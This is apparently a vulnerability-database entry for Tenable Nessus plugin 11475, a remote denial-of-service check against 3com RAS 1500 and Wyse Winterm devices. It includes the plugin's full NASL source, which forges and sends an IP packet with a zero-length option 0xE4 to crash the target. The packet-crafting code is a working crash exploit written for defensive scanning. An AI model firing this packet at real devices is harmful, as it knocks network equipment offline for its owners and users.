CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
EPSS
Percentile
92.0%
It was possible to crash the remote host by sending a specially crafted IP packet with a null length for IP option #0xE4
An attacker may use this flaw to prevent the remote host from accomplishing its job properly.
#
# (C) Tenable Network Security, Inc.
#
# THIS SCRIPT WAS NOT TESTED !
# (will only work with Nessus >= 2.0.2 though, because of a bug in insert_ip_option())
#
# Ref:
#
# Date: Mon, 24 Mar 2003 16:56:21 +0100 (CET)
# From: Piotr Chytla <[email protected]>
# Reply-To: iSEC Security Research <[email protected]>
# To: [email protected], <[email protected]>
#
# Josh Zlatin-Amishav has also discovered that this affects
# Wyse Winterm 1125SE thin client devices:
# http://www.securityfocus.com/archive/1/407903/30/0/threaded
include("compat.inc");
if (description)
{
script_id(11475);
script_version("1.21");
script_cvs_date("Date: 2019/03/06 18:38:55");
script_cve_id("CVE-2005-2577", "CVE-2006-0309");
script_bugtraq_id(7175, 14536);
script_name(english:"3com RAS 1500 / Wyse Winterm Malformed Packet Remote DoS");
script_summary(english:"Crashes a 3com_RAS_1500");
script_set_attribute(attribute:"synopsis", value:"The remote host is vulnerable to a remote denial of service attack.");
script_set_attribute(attribute:"description", value:
"It was possible to crash the remote host by sending a specially
crafted IP packet with a null length for IP option #0xE4
An attacker may use this flaw to prevent the remote host from
accomplishing its job properly.");
script_set_attribute(attribute:"see_also", value:"http://archive.cert.uni-stuttgart.de/bugtraq/2003/03/msg00321.html");
script_set_attribute(attribute:"solution", value:"The solution is unknown at this time.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2003/03/24");
script_set_attribute(attribute:"plugin_publication_date", value:"2003/03/25");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_KILL_HOST);
script_copyright(english:"This script is Copyright (C) 2003-2019 Tenable Network Security, Inc.");
script_family(english:"Denial of Service");
script_require_keys("Settings/ParanoidReport");
exit(0);
}
include("audit.inc");
include("global_settings.inc");
if ( TARGET_IS_IPV6 ) exit(0);
if (report_paranoia < 2) audit(AUDIT_PARANOID);
start_denial();
ip = forge_ip_packet(ip_hl: 5, ip_v : 4, ip_tos : 0,
ip_len : 44, ip_id:1234, ip_off : 0,
ip_ttl : 0xff, ip_p:0xAA,
ip_src : compat::this_host());
ipo = insert_ip_options(ip:ip, code:0xE4, length:0, value:raw_string(0x00, 0x00));
ipo += string("ABCDEFGHIJKLMNOPRSTU");
send_packet(ipo, pcap_active:FALSE) x 10;
sleep(5);
alive = end_denial();
if(!alive){
security_hole(0);
set_kb_item(name:"Host/dead", value:TRUE);
}